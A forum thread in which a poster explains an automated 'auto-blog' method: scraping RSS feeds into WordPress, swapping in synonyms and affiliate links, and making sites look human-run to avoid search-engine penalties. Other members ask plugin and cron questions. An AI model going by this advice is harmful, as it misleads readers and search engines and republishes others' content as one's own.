    Hi K.K,

    Thanks for very good info. Can you please explain how blogs will get back links and from where? I don't understand this part.

    Will appreciate your answer.

    Cheers
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    • Profile picture of the author Keith Kogane
      Originally Posted by Guru View Post

      Hi K.K,

      Thanks for very good info. Can you please explain how blogs will get back links and from where? I don't understand this part.

      Will appreciate your answer.

      Cheers
      G
      When you submit your RSS feed URL to every place you can find to do so, your content will be spidered and syndicated, and re-published, much the same way we're gathering our own content with this method. Depending on how and where this happens, we'll begin to get trackbacks, backlinks, etc.

      Sometimes, they'll even republish your entire piece of content, links intact. Which of course, is ideal.

      How many you get, and how it happens will depend on the niche: how much content is generated, how many places republish that content, etc. etc.

      If you're lazy (like me), you can stop there. It works okay.

      Depends on what you want to do. If you're looking to flip these or sell text links, you can get ahold of lists of nofollow and high-PR places you can comment and try to get backlinks/trackbacks.

      It's a little more hands-on, but not really rocket science. Just get a decent guide on link-building for SEO and do it.

      Plus, when you see your stats and there are places giving you link love, you can go hands on and try a content trade, link swap with those sites.

      That's if you're NOT lazy like I am. Does my method work? Yep. Does it work as good as if you'd actually done some link building too? No. But think of all the time you can spend building links when you don't have to worry about actually posting on the blog at all.
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      • Profile picture of the author Guru
        Thanks K.K. for quick reply. I think once I set up a simple blog like this then I think I can understand everything. This is looking so easy/simple and good to make some extra cash.. ( or a lot if one can set up so many blogs )

        Thanks again!

        G
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    Good, lots of information.
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  • Profile picture of the author briank99
    Hi, Keith:

    I tried both wp-o-matic and smartrss. I like the look of the results much more with smartrss than I do with wp-o-matic but I have one problem and I was wondering if you do too. When I get the results for smartrss it takes the bbcode such as b or /b and just adds it to the page rather than making the word bold. Do you know a way around this?

    BTW, this is one great thread.

    Thanks,
    Brian

    PS. Utopia Cron plugin is easy to work with and makes setting up the cron job for wp-o-matic or smartrss very easy.
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  • Profile picture of the author Evita
    Keith,

    How may places, on average do you pull your feeds from?

    How soon will you see back links, and how soon do you see PR go up?

    What are the PR's on some of your blogs?

    Thanks,
    Evita
    PS. hope you will come out with a juicy WSO!!
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    • Profile picture of the author Keith Kogane
      Originally Posted by briank99 View Post

      Hi, Keith:

      I tried both wp-o-matic and smartrss. I like the look of the results much more with smartrss than I do with wp-o-matic but I have one problem and I was wondering if you do too. When I get the results for smartrss it takes the bbcode such as b or /b and just adds it to the page rather than making the word bold. Do you know a way around this?

      BTW, this is one great thread.

      Thanks,
      Brian

      PS. Utopia Cron plugin is easy to work with and makes setting up the cron job for wp-o-matic or smartrss very easy.
      Brian, thanks for the comment. I'll check out Smart as well, but the reason I like WP-O-Matic is because of the built in replacement features. For example, the bbcode you're seeing could be repaired with WPOM's character replace. However, I'm looking for other methods to maybe mitigate that. I should at least have some options soon.

      Good to hear about Utopia - it's in my list of stuff to test this weekend. I'll put it on the fast track and see if I feel comfortable recommending it myself. (Not that I don't believe you, but I just like to verify before I repeat something I only read on a forum. )

      Originally Posted by Evita View Post

      Keith,

      How may places, on average do you pull your feeds from?

      How soon will you see back links, and how soon do you see PR go up?

      What are the PR's on some of your blogs?

      Thanks,
      Evita
      PS. hope you will come out with a juicy WSO!!
      1. It depends. Different niches/keywords have different levels of content available. I like to build newsy sites, so I have lots of mini/micro posts from all over. If it's a keyword-based feed, I only use one per category typically. If I'm pulling from only a few niche serving blogs, I'll have a few per category depending on output.

      2. It depends, and it depends. I know you want something more solid, but it's variable. Let's assume you do only what I recommend in the first post. Backlinks can happen for a couple of reasons. A. You repost something from a blog that has automatic trackbacks. B. Another site re-publishes your feed content. Now, whether A. happens depends on the configuration of the blogs/sites that create keyword ranked content. Whether B happens depends on how many sites will pick up/re publish your content. Neither of those things are within your control. That's why you build many sites around many topics and keywords to increase the likelihood of A, and why you submit your feeds to as many sites as possible to increase the likelihood of B.

      PR is a measure of how relevant the rest of the web finds your content. Generally speaking, this is measured through the number of backlinks coming in, as well as the anchor text of those links. So you see, the rate and amount of PR you get is directly tied to how well you do at getting backlinks. Also be aware that Google does not update their public PR numbers more than once every 3 months or so. Depending on where you are in the cycle, you may see no change, and then suddenly you're PR4! Now even though the REPORTING of that score is delayed by months, your performance within Google's index is constantly updated. ACTUAL PR is different than the simple 0-9 scale Google decides to show us.

      3. My sites range from PR0 to PR6. The PR0 ones are just not in productive niches. The irony is, this is probably where the greatest opportunity lies. It's a high demand, low supply niche. But because of that, there's a lack of content to feed my site. If I wanted to bother creating or commissioning content, I could own the whole market. But see above re: lazy.

      Also, the one that's PR6 was built on top of a very old domain that I used to keep a *real* blog on. It had PR from before.

      I'm actively trying to learn more about PR and nofollow for funneling, because it seems like with all the PR 3 and 4s I have, I should be able to really juice up the weaker blogs just by linking to them. I don't know enough to speak with authority on that, though.

      Hope that answers your questions. Please let me know if you have more!
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  • Profile picture of the author briank99
    Keith,

    Okay I think I found out that I just used different feeds with WP-o_matic and smartrss. I like the whole article and not just a partial that ends in a half sentence. I need to look for full feeds.

    With that said I did find a great place to find feeds - rssmountain. After I do my search if I click the feed button below each result I can see if it is a full or partial feeds. For example, for nintendo wii I found 790 feeds. Now not all are full or good but I only need a few. (BTW, I am not associated with rssmountain in anyway.)

    Brian
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    • Profile picture of the author Seattle Mike
      Thanks Keith. This is a great method to get a lot of blogs going and keeping them full of fresh posts. I was able to get gocode working. Tried another htaccess code and it works good.
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    • Profile picture of the author mudmat
      Originally Posted by briank99 View Post

      Keith,

      Okay I think I found out that I just used different feeds with WP-o_matic and smartrss. I like the whole article and not just a partial that ends in a half sentence. I need to look for full feeds.

      With that said I did find a great place to find feeds - rssmountain. After I do my search if I click the feed button below each result I can see if it is a full or partial feeds. For example, for nintendo wii I found 790 feeds. Now not all are full or good but I only need a few. (BTW, I am not associated with rssmountain in anyway.)

      Brian
      Hi,

      Thanks for the info! Most of the articles that I pull in from feed are half articles. I will try using rssmountain.

      Thanks!
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  • Profile picture of the author Allegro
    i have a problem with GoCodes too. I went to Manage -> GoCodes, added the redirection key "leveling" (i'm making a world of warcraft site), entered my hoplink as the target, and enabled logging.

    now when i go to mysite.com/go/leveling i get a 404

    besides that, i added the wp-o-matic cron to hostgators cronjob-function. lets see what happens now, i set to unlimited postings, and i have a package that allows me unlimited bandwith and space... if their servers can handle it?
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    • Profile picture of the author Keith Kogane
      Originally Posted by briank99 View Post

      Keith,

      Okay I think I found out that I just used different feeds with WP-o_matic and smartrss. I like the whole article and not just a partial that ends in a half sentence. I need to look for full feeds.

      With that said I did find a great place to find feeds - rssmountain. After I do my search if I click the feed button below each result I can see if it is a full or partial feeds. For example, for nintendo wii I found 790 feeds. Now not all are full or good but I only need a few. (BTW, I am not associated with rssmountain in anyway.)

      Brian
      Thanks for the tip on RSSMountain! I bet people here will find that useful. Also try Content4Reprint if you want longer stuff. I just found them this week while researching more options for my method, and I bet you might be able to get something from them. Just make sure that if you're using long posts, do some synonym replacing with WP-O-Matic as well as link replacing. You want to get some originality in there for SERPS benefit, but personally, I also retain backlinks to the source, because it's only fair if I'm going to piggyback on their work. To each their own. Just keep an eye on those TOCs and Paul Meyers pointed out a page or so back.

      Speaking of content remixing, I'm currently working with a couple of RSS aggregators that are external to WordPress. They would basically mash various feed entries into single, longer posts. At the same time, the programs I'm working with also mix up sentences and words and the like, so with some careful configuration, I see a lot of potential. I'll let you guys know if I get it working in a worthwhile way.

      Originally Posted by deverell View Post

      Thanks Keith. This is a great method to get a lot of blogs going and keeping them full of fresh posts. I was able to get gocode working. Tried another htaccess code and it works good.
      Awesome! Glad you got it figured out.

      Originally Posted by Allegro View Post

      i have a problem with GoCodes too. I went to Manage -> GoCodes, added the redirection key "leveling" (i'm making a world of warcraft site), entered my hoplink as the target, and enabled logging.

      now when i go to mysite.com/go/leveling i get a 404

      besides that, i added the wp-o-matic cron to hostgators cronjob-function. lets see what happens now, i set to unlimited postings, and i have a package that allows me unlimited bandwith and space... if their servers can handle it?
      For GoCodes, be sure you follow the instructions. In addition to uploading the plugin files, activating, and configuring - you ALSO need to add a line of code to your .htaccess file. That's what the previous poster was talking about.

      And a word of warning - you CAN create a buttload of posts in an instant with WP-O-Matic but my recommendation is to not go nuts. Just set up the site to grow steadily over time. That'll give you a better chance of long term indexing in the search engines. The other way, you run the risk of being ID'd as a junky site and dumped from the index if you grow too fast.

      The idea here is to simulate a real organic blog - but rather than posting every day, you set up a set of automated rules to do it for you. You shouldn't go from 0 to 100 on the first day. Go from 0 to 1 first. Then start another blog. While you're getting that one from 0 to 1, the first one is taking itself from 1 to 2.

      Make sense? Let me know if you need more specific help with the goCodes. Thanks for the reply!
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      Try this Allegro

      Place the following code in your .htaccess file, above the line that says "# BEGIN WordPress":
      RewriteEngine On
      RewriteRule ^go/([A-Za-z0-9]+)/?$ /index.php?gocode=$1 [L,R]

      This example assumes your blog is located at the root of your domain. If your blog is located at yourdomain.com/blog/, then you should change "/index.php" to "/blog/index.php".

      This got my links working.
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  • Profile picture of the author tntrader
    Great thread, and thanks for sharing the information Keith.

    For a split second, I thought I stepped back into 2006-2007, when auto-blogs were the craze. I was under the impression (apparently wrongfully so), that this type strategy no longer works. Glad to hear that I am wrong.

    Do you have an example you can show us?

    I have a handful of domains that I haven't had time to work with yet, and I definitely think this will work well for parking those domains.

    Chris
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    • Profile picture of the author Keith Kogane
      Originally Posted by tntrader View Post

      Great thread, and thanks for sharing the information Keith.

      For a split second, I thought I stepped back into 2006-2007, when auto-blogs were the craze. I was under the impression (apparently wrongfully so), that this type strategy no longer works. Glad to hear that I am wrong.

      Do you have an example you can show us?

      I have a handful of domains that I haven't had time to work with yet, and I definitely think this will work well for parking those domains.

      Chris
      Yeah, that's actually when I got started doing auto-blogs. I guess it WAS a craze! Funnily enough, it DIDN'T work for me back then, but I was going for the "create as many pages as you can and plaster them with adsense" - needless to say, that method IS burned. I failed at it, and never did get it to work in any kind of niche (unless $20 for 6 months of work is a success).

      The techniques I developed since then are less about blog spamming and RSS bombardment, and more about making a site that's admittedly mediocre, but simulates a real blog run by a human. I mean, I AM a human, but rather than posting day bay day, I consider it like I'm setting "rules" that allow the blog to do what I would do anyway. I just check in occasionally to make sure the instructions were specific enough so the site stays on track.

      I focused less on AdSense and placing adblocks for maximum exposure. Instead, I build the sites to have unobtrusive ads, but plenty of congruent affiliate offers and products. I try to place my sites in niches where there is little competition from others like myself, and position myself as a nexus of information for that niche. Sort of like a one stop shop for all the "buzz" on that topic.

      As for sharing my sites, I'm not currently in any niche where I'd readily invite competition. Obviously, looking at my technique, you can see how if I showed you my blogs, you'd know all the secrets I had to spend a lot of research and tweaking to discover - my keywords, my backlink sources, my markets, etc. You automatically discover these things on your own while using the method and trying different stuff - I'm not holding back anything of the method, I'm just keeping a few known successful values for the variables to myself.

      Hope no one minds.

      That being said, were I to sell this method as a product, I'd most likely create a sample site from scratch in order to demonstrate more specifically what it is I mean. I'm toying with the idea of following it all the way through and selling it on SitePoint, too, just to show the full range of possibility. Anyway, we'll see. I don't want anyone to think I'm promoting anything that doesn't even exist yet.

      Until then though, I'll have to get by with using descriptions, as I don't have anything I'm willing to share at this point. Sorry about that.

      That being said, if they're dead domains you aren't doing anything with, it's not like you have a high expectation of profit to meet. Give it a try. It'll take an hour or so to set up if you know your way around wordpress and have a general idea of your niche. What would it hurt? You're not doing anything on those sites anyway, so it could only help.

      All my experience says it'll perform better than *nothing*.
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  • Profile picture of the author Allegro
    thx deverell, funny that i havent read that...

    but i ran into another problem. i have added the cron job to hostgator, and it runs every hour, but it doesnt fetch anything? i then tried to use the url-command myself, but it only showed a blank site and when i checked the log after, i saw that nothing happened... do i have to add something to the htaccess too? i checked the readme and it said nothing about editing anything...

    and thanks for the tip, i now populated my blog with 60 postings and set it now to one posting per feed per fetch... i also think that the option that shows the date when it was originally posted should be enabled, else it would show that 5 postings are made at the exact same time!

    edit: hm now thats weird, it shows me that the cron job was processed, but it didnt check the feeds... it only shows the feeds checked after i fetched manually, and only added postings after that.

    i guess i will give it this day time and check in the evening if anything happened, if not i will look into that next night

    however, now that gocodes work, im going to add my 200+ keywords to the replace-list

    Edit 2: Now i am really confused, although i added the cronjob to run every hour, the wp-o-matic dashboard tells me
    Next campaigns to process

    1. 6h 58m 26s
    so i can only fetch posts automatically every 8 hours? that sucks, especially in the WoW niche where there are around 10 postings per day... and i fetch only 2 per site...
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  • Profile picture of the author JJOrana
    Anybody having problem with relink to: field?

    I'm having problem to run that part.
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  • Profile picture of the author mudmat
    Hi guys,

    How do I automated the fetching of post from the feeds?

    I don't think I saw the option to automate the fetching of post from the feeds..

    Another question: Is there any software that enables you to submit your rss feed at one go? Meaning that you do not have to manually submit your rss feed to the different rss sites.
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  • Profile picture of the author Evita
    Once we have pulled a feed with WOP, will it pull the same feed again?

    Just found a ton of feeds on rssmountain (Thanks Brian!) I added a bunch to be fetched...

    How do I schedule this? If I do 10 at a time and I have 30 feeds? Then the feeds get updated?? They get fetched again?? Or?

    I'm a bit confused about how the feeds get fetched... how the whole thing gets organized... how you not end up with the same feed 15 times over.

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      Once we have pulled a feed with WOP, will it pull the same feed again?

      Just found a ton of feeds on rssmountain (Thanks Brian!) I added a bunch to be fetched...

      How do I schedule this? If I do 10 at a time and I have 30 feeds? Then the feeds get updated?? They get fetched again?? Or?

      I'm a bit confused about how the feeds get fetched... how the whole thing gets organized... how you not end up with the same feed 15 times over.

      Evita
      It'll only pull new entries from the feeds you have set up each time it updates. To fetch the feeds, you can either set up a unix cron job, or you can turn off unix cron and see if it'll update itself (mine work this way). Alternately, you can try using Utopia Cron plugin, though I haven't tried that myself.

      Think of feeds as a subscription, and you set a value (X) in WPOM. Each time you fetch it you will get the last X new entries posted to your blog. If there aren't X new entries, you'll only get the new ones. If there are MORE than X, you'll get only X. Don't mean to start talking in algebra. Hope that makes sense.
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      • Profile picture of the author Anees
        Hi Keith, thanks for such a nice post! I have one question if you can help me! I have a wordpress blog hosting on wordpress.com, for example, xyz.wordpress.com. Could you please tell me how can I install those two plugins on that? I have downloaded both but it says - "extract wpomatic.zip in the /wp-content/plugins/ directory" but I do not have any domain? Do I need to buy domain to get these two plugins installed. Thank you for your reply.
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  • Profile picture of the author new guy
    Keith, I just found this post tonight and have now read the whole thing. In the meantime, I set up a new domain and just installed Wordpress to get started. I have a question about your affiliate links. On a single blog, do you only link out to one affiliate product? And do you do so on every instance of a certain keyword? This part is a bit gray to me.
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    • Profile picture of the author Keith Kogane
      Originally Posted by new guy View Post

      Keith, I just found this post tonight and have now read the whole thing. In the meantime, I set up a new domain and just installed Wordpress to get started. I have a question about your affiliate links. On a single blog, do you only link out to one affiliate product? And do you do so on every instance of a certain keyword? This part is a bit gray to me.
      Hi new guy!

      Thanks for posting - to answer your questions:

      1. It depends on the blog/niche. There are a couple of blogs that only have one product. I think I even have one that has none, but that's just because I couldn't find any that converted well. The more content you have, the more you can get away with diversified products. Most commonly, I have about 5-10 categories per blog, with 1 or 2 feeds per category. Each category is based on a single keyword (each keyword is related to the blog's niche). Each category is usually based around 1 product, though sometimes more.

      2. Yes, if you're using WP-O-Matic for relinking, it will be every instance. That's the only option available there. If you're using something else like SEO Smart Links, there are more options. I believe that one limits itself to the number of links per post.

      Best bet is to just start messing with it, and do what makes sense for your site concept. The idea here is not to make something spammy, but to arrange these elements to make it look like a human-controlled site. But you also don't want to make it perfect. Let it be mediocre, but don't let it look spammy, or else no one will even want to look at it.
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  • Profile picture of the author Guru
    Hi KK,
    That was quick reply.

    I think I am finding two problem in your given process

    1) getting rss feed provider which will provide long ( atleast 15-20 lines ) content. but as you suggested I should look more and I should be able to find that on google.

    I tired so far yahoo feed, google news feed, google blog feed, ezinearticles.com feeds but i will look at more places and try to find good feeds.

    2) Second major problem is updating the blog using wp-o-matic using word press/cron etc..

    In one of my test blog I used WP-o-matic internal function for cron job ( unix base ) I just clicked on the check box ( which was there ) and after that it should be doing itself ( I guess )

    after doing this I selected to get 2 post from the RSS every 3 hours and I left it for 12 hours but I didn't get any post in my blog.

    I got only 2 post from the rss feed in the beginning of starting campaign in WPOP ( by fetching)

    why I didn't get more post after 12 hours or so?

    I think cron is not working above way ( which should be working as there was no error )

    Now even its not working when I am checking the blog it should have fetched few posts from the rss source ( am I right? ) ( in WPOP language ""pseudo-cron web-based approach takes place"") when I m checking my own blog.

    ----
    Now after it didn't work I started new blog and didn't do that unix based cron in WPOP and install utopia cron plugin. and asked it to read my cron page every 15 minutes to fetch 2 rss feed and post in the blog but even after few hours only post I got, which I fetched at the time of creating campaigns.. ( so same problem )

    I created 3 campaigns and using CNN health, Yahoo health and CBS health feed for testing purpose.



    Do you think I am doing something wrong somewhere?



    Thanks

    G
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    • Profile picture of the author davo
      Guru:

      If you are using either of the two Cron options (Simplified and Traditional Unix format) from within Cpanel, there is a space for you to enter your email address.

      Place your email in there, and Cron will sent you an email every time it triggers the command you set.

      It is great for debugging, and making sure Cron is working okay.

      When you are sick of getting the emails, log back in thru Cpanel and remove the email address from the form.

      Cheers,
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      • Profile picture of the author Guru
        Originally Posted by davo View Post

        Guru:

        If you are using either of the two Cron options (Simplified and Traditional Unix format) from within Cpanel, there is a space for you to enter your email address.

        Place your email in there, and Cron will sent you an email every time it triggers the command you set.

        It is great for debugging, and making sure Cron is working okay.

        When you are sick of getting the emails, log back in thru Cpanel and remove the email address from the form.

        Cheers,
        Davo
        Hi KK and Davo,

        Thanks for your reply..
        I am not running cron job in cpanel ( as I was not even knowing about this but after Davo mentioned above I went and checked in cpanel and its looks very easy in cpanel also )

        I am running cron using utopia pluin and I am putting this URL there ..

        hxxp://domainname.c0m/testblog2/wp-content/plugins/wp-o-matic/cron.php?code=9d657412


        and then putting 15m ( just to check if i can get feeds else I can understand i should put there long period )


        I think i have to put same URL in cpanel cron area also if i want to use that option instead of utopia..

        is there any way to run cron job once and it will just fetch post from one campaign feed and leave other campaign feed alone without fetching any feed from them?

        Thanks

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  • Profile picture of the author Allegro
    oh boy, when i break through one wall, the next one - even bigger - is waiting for me...

    so, every eight hours is post added to my blog - so far, so good!
    i added the keywords that should be linked as regular expressions via the format (keyword1|keyword2|keyword3|...|keyword20) in wp-o-matic, and the new post should have some links in it... but it hasnt!
    keith, do you add every keyword into a seperate box or do you use the RegEx function?

    Well, when i finally work this stuff out i will make a report/ebook out of it lol.
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  • Profile picture of the author Evita
    Uh.oh...

    All of a sudden when you click on the headline of the post on my homepage it takes you directly to the original article. It does not link to my own internal page.
    I must have changed something but an hour of searching haven't given me where I went wrong..... help??

    How do we link to the original article as well as our own internal page? Which we should be, correct? (Linking to the original article)

    How can we have the outgoing links to original articles nofollow and links to our own sites, or links that we have sold as dofollow?

    If we don't do a nofollow on all those links linking back to the original article we will be leaking a ton of PR juice.

    I also set to fetch 7 posts, but ended up getting 65!!

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Guru View Post

      1) getting rss feed provider which will provide long ( atleast 15-20 lines ) content. but as you suggested I should look more and I should be able to find that on google.

      I tired so far yahoo feed, google news feed, google blog feed, ezinearticles.com feeds but i will look at more places and try to find good feeds.
      They're out there - and if you have trouble finding them for your keywords, there are a couple of things that *may* work for you. First, if you're finding relevant content in the news feeds, try going directly to the source and pulling feeds from there. Also, if you can't find longer content for your keywords, try to find content from your broader niche and see if doing a word replacement makes sense. For example, you can generally replace the phrase "losing weight" with "weight loss" and it will still make sense. Be careful with this though, because you'll need to keep an eye on your content in case your replacements DON'T make sense - it's an obvious indicator that you're an automated blog. For longer content, try rss mountain and content4reprint mentioned above, too.

      Originally Posted by Guru View Post

      2) Second major problem is updating the blog using wp-o-matic using word press/cron etc..

      In one of my test blog I used WP-o-matic internal function for cron job ( unix base ) I just clicked on the check box ( which was there ) and after that it should be doing itself ( I guess )
      To be clear, the unix cron checkbox must be UNCHECKED to attempt using the Wordpress loop to run the update. I think this is why it wasn't working for you in this scenario. It fetches the first time you set up any campaign, but if the cron isn't firing, you won't get any additional updates.

      Originally Posted by Guru View Post

      Now after it didn't work I started new blog and didn't do that unix based cron in WPOP and install utopia cron plugin. and asked it to read my cron page every 15 minutes to fetch 2 rss feed and post in the blog but even after few hours only post I got, which I fetched at the time of creating campaigns.. ( so same problem )
      Hmm. That's more frequently than I update, but it should still work. If your blog doesn't
      get any traffic yet, you need to visit your blog yourself to get it to fire. Once you have traffic and spiders coming in, it'll just fire itself. Sorry you're having such trouble with it. Perhaps try one of the other alternative methods mentioned in the post if you're having problems.

      Originally Posted by Allegro View Post

      oh boy, when i break through one wall, the next one - even bigger - is waiting for me...

      so, every eight hours is post added to my blog - so far, so good!
      i added the keywords that should be linked as regular expressions via the format (keyword1|keyword2|keyword3|...|keyword20) in wp-o-matic, and the new post should have some links in it... but it hasnt!
      keith, do you add every keyword into a seperate box or do you use the RegEx function?

      Well, when i finally work this stuff out i will make a report/ebook out of it lol.
      I don't know how to do regular expressions, so I do each keyword separately. I keep meaning to learn and experiment with that feature though. Let me know if you get it working. Also, you can just wait until I complete MY report and be an affiliate. I'm much prefer that than having you steal my ideas and make a report of your own. It doesn't make me really inclined to help you out if you tell me that, dig?

      Originally Posted by Evita View Post

      Uh.oh...

      All of a sudden when you click on the headline of the post on my homepage it takes you directly to the original article. It does not link to my own internal page.
      I must have changed something but an hour of searching haven't given me where I went wrong..... help??

      How do we link to the original article as well as our own internal page? Which we should be, correct? (Linking to the original article)

      How can we have the outgoing links to original articles nofollow and links to our own sites, or links that we have sold as dofollow?

      If we don't do a nofollow on all those links linking back to the original article we will be leaking a ton of PR juice.

      I also set to fetch 7 posts, but ended up getting 65!!

      Evita
      There's a setting in the campaign configuration - I believe a checkbox - for making your titles link back to your own post instead of the original. Just make sure you have that configured correctly.

      If you're wanting to nofollow all external links, there are plugins for that. I haven't tested this one, but it will likely work for what you want:

      External Links Plugin For WordPress

      Generally speaking though, I haven't had to do this. Although again, I'm not a PR expert and am trying to learn more so I can apply it to the technique.

      Hope that helps!
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  • Profile picture of the author Allegro
    the "fetch" number is on a per feed basis. so if you have 9 feeds, you would get your 63 postings.

    and for the titles: go to your campaigns tab, edit your current campaign, switch to the options tab and scroll down. uncheck "Post title links to source?".
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  • Profile picture of the author jbreezy
    I installed Wordpress via Fantastico into a subdomain on my Lunar Pages server and when I go to add a new post nothing shows up. What am I doing wrong?
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  • Profile picture of the author Allegro
    keith, the lol at the end was supposted to mark it as a joke. i'm really bad at writing, so i never would do an ebook
    but im going to be your affiliate when i set up an automated blog in the make money online niche, just pm me here on the board
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  • Profile picture of the author jbreezy
    keith -

    basically i have a subdomain where I want to host a blog. i installed wordpress via my control panel with fantastico and got to my WP Admin panel and write a post. Then I go to write a blog entry and it doesn't show up.
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  • Profile picture of the author danto2
    Keith:
    Your business model sounds great, but way over my head. I wonder if you and I can exchange specialties. Mine is Income Taxes (former Revenue Agent) and Real Estate (Recently purchased home..full price $11k and rented it for $650) Can show you how if you help me with internet marketing.
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    • Profile picture of the author Keith Kogane
      Originally Posted by danto2 View Post

      KEITH:
      I AM NEW TO WARRIOR. I AM A CONSULTANT FOR REAL ESTATE AND TAXES AND I WOULD LIKE TO EXCHANGE YOUR IDEAS FOR ONLINE BUSINESS FOR MY EXPERTISE ON REAL ESTATE.
      FOR EXAMPLE..MY WIFE AND I JUST PURCHASED A SINGLE HOME IN DAYTON OH FOR $11K AND RENTED IT OUT FOR $650 A MONTH.
      Originally Posted by danto2 View Post

      Keith:
      Your business model sounds great, but way over my head. I wonder if you and I can exchange specialties. Mine is Income Taxes (former Revenue Agent) and Real Estate (Recently purchased home..full price $11k and rented it for $650) Can show you how if you help me with internet marketing.
      Sorry Robert, I'm not interested in your colorful offer at this time. Thanks, though!
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      • Profile picture of the author Alminc
        Keith,

        How many keywords and in what format do you put
        into w-p-o-matic.

        In Add Campaign/Rewrite there is option to use boxes
        separately for each keyword and url, but the help file also says:

        Regular expressions

        For advanced users, regular expressions are supported. Using this will allow you to make more powerful replacements. Take multiple word replacements for example. Instead of using many rewriting boxes to replace ass and arse with butt, you can use the | operator: (ass|arse).

        Say I wanto link 20 different keywords to 20 different urls, how shell I do?

        Shell I use 20 boxes separately for each keyword, or shell I use 'regular
        expressions'? I am confused about using regular expressions option
        since the help file only gives instructions for keywords but not for urls.

        If you are using regular expressions can you give me one example how to
        do it?

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        • Profile picture of the author Keith Kogane
          Originally Posted by Alminc View Post

          Keith,

          How many keywords and in what format do you put
          into w-p-o-matic.

          In Add Campaign/Rewrite there is option to use boxes
          separately for each keyword and url, but the help file also says:




          Say I wanto link 20 different keywords to 20 different urls, how shell I do?

          Shell I use 20 boxes separately for each keyword, or shell I use 'regular
          expressions'? I am confused about using regular expressions option
          since the help file only gives instructions for keywords but not for urls.

          If you are using regular expressions can you give me one example how to
          do it?

          Almin
          I set up mostly with a single keyword/phrase per campaign, so I'll have maybe 3-5 link-based replacements max, but only if there are some closely related ones that make sense. Most of the time it's 1 to 1. 1 keyword, 1 campaign, 1 link.

          However, there's no particular rhyme or reason I do it that way, it's just how I've gotten into the habit of doing it for now. I don't think it matters overall as long as you're not packing a single post full of links to tons of different places. Just try to keep it focused and looking like a real person is making the blog. I mean, you ARE a real person, but you know what I mean.

          As far as the regular expression feature, as I explained above, I don't know how to do them, so I don't. I just do one word per box, and that works just fine.

          Hope that helps!
          KK
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          • Profile picture of the author Alminc
            Thanks Keith, that makes sense. It shouldn't
            look like keyword staffing.


            I have another questions about plugins.

            What typical set of plugins are you using for
            each blog? (wpomatic, gocodes, + .......)

            Also, are you installing your blogs on different C-class IPs?
            What would be good distribution of blogs over different IPs?
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  • Profile picture of the author Fernando Veloso
    Hi all, this is my first post in WF (didn't saw Introduction) so hi everybody!

    All right, i saw this thread while surfing around and tested it but i have one problem.

    The feeds from Google News doesn't work. Others do, but those from G doesn't. It fetches the data correctly from other places but the G ones simply don't work.

    Maybe i don't use the correct path?

    Thanks guys and a huge thank you to Keith
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    • Profile picture of the author Keith Kogane
      Originally Posted by Alminc View Post

      Thanks Keith, that makes sense. It shouldn't
      look like keyword staffing.


      I have another questions about plugins.

      What typical set of plugins are you using for
      each blog? (wpomatic, gocodes, + .......)

      Also, are you installing your blogs on different C-class IPs?
      What would be good distribution of blogs over different IPs?
      No problem! As for your other questions:

      1. For these kinds of blog, there's no "typical" set of plugins except for the core ones that run the system. Throughout the thread here I've mentioned a couple more that I use regularly, but there's no set standard. The only one I can think of that I install every time is the Lighter Admin Menus, but that's just to make the backend quicker to work with.

      Then there are common goals I want to accomplish, but I don't always use the same method - like, I commonly use an SEO plugin, but not always the same one. Sometimes I use Headspace, sometimes, All in One SEO. Frequently I use an auto-tagger, but there are a couple I've tried and all work fine.

      As part of my project of expanding and detailing this method, I'm going to include a list of plugins that I use, and that should be useful for marketing purposes, but as for right now, I don't have a standard set. In fact, I could probably do this a lot faster if I did get a core set and something like WP-Cloner or similar.

      In the meantime, if you have a question about a particular plugin, or a particular goal you want to know if there is a plugin for, I can probably be of more help.

      For your other question about IPs, I haven't bothered with that. Most of my blogs were started by me, and I'd say almost all of them are on the same deluxe hosting account, and likely all on the same server (I'm not that techie, but that seems like a likely guess).

      Now if I were building a blog farm and cross-linking these, I probably WOULD want them moved elsewhere (or started elsewhere). Or if I was selling links or posts on them as a whole network, I'd want to eliminate as much physical relationship between the blogs as possible. But as it stand now, any link agreements I have are for one customer/one link/one site, so I'm not likely to be picked up as a link-seller.

      The IP footprint is about not having all your backlinks coming from the same sites. With my method, your backlinks are coming in from outside, which is how a real site is supposed to behave.

      Should I be using different accounts and IPs and all that? Maybe, but so far, it hasn't stopped anything from working. Would it be working better? Can't say - never tried it.

      If you WANT to build a link farm/blog network strictly for selling links/posts, the easier way to go about it is to just buy existing stale, dead WP installs (or any kind of site, really) off bored site owners, and then drop my method in on top of them, and keep the same hosting as the original owner. That way there's no wasted effort looking for a ton of hosts so you can start at zero. Instead, you'll spend your research time finding blogs who have attributes that will help your network perform (old domains, existing cache, pre-indexed, etc.) and kill two birds with one stone. You'll end up with differentiated IPs as a side effect of using that method, and still get the bunch of blogs you want.

      Hope that advice helps those wanting to go that route.

      Originally Posted by scubita View Post

      Hi all, this is my first post in WF (didn't saw Introduction) so hi everybody!

      All right, i saw this thread while surfing around and tested it but i have one problem.

      The feeds from Google News doesn't work. Others do, but those from G doesn't. It fetches the data correctly from other places but the G ones simply don't work.

      Maybe i don't use the correct path?

      Thanks guys and a huge thank you to Keith
      I don't have trouble pulling from Google News, but if you do, try different feeds. There are plenty of others to work with. In the support forums for WP-O-Matic, there are a few people who have had trouble pulling from GNews as well, but it's not an issue that's been resolved.

      When you say "the G ones simply don't work" can you be more specific? If I know how it's failing I can *maybe* be of more help.

      Thanks for your interest!
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  • Profile picture of the author richfit
    Great post! How about automating content? You can use WordPress Direct instead of using regular Word Press and begin automating content or dripping content over time using PLR articles or outsourced articles written for you over time.

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  • Profile picture of the author jbreezy
    having trouble finding feeds. my niche is finance info. how do i find the corresponding feeds that will auto update to my blog. right now it's a bunch of gibberish!
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  • Profile picture of the author Evita
    OK,

    So I'm intent on not leaking a bunch of PR juice.

    How would this work?

    The plugin "nofollow reciprocity" comes loaded with around 1000 sites that will
    automatically make the link a nofollow to those sites.

    Now, you can add to the url's to include for instance clickbank.net

    So, how easy would'nt it be to include the url's of our feeds? Saving a ton of link juice. Links to our main site, or to the site of a link buyer (is there such a term?) would then automatically be a dofollow.

    Anyone see any holes in this let me know, please.

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      OK,

      So I'm intent on not leaking a bunch of PR juice.

      How would this work?

      The plugin "nofollow reciprocity" comes loaded with around 1000 sites that will
      automatically make the link a nofollow to those sites.

      Now, you can add to the url's to include for instance clickbank.net

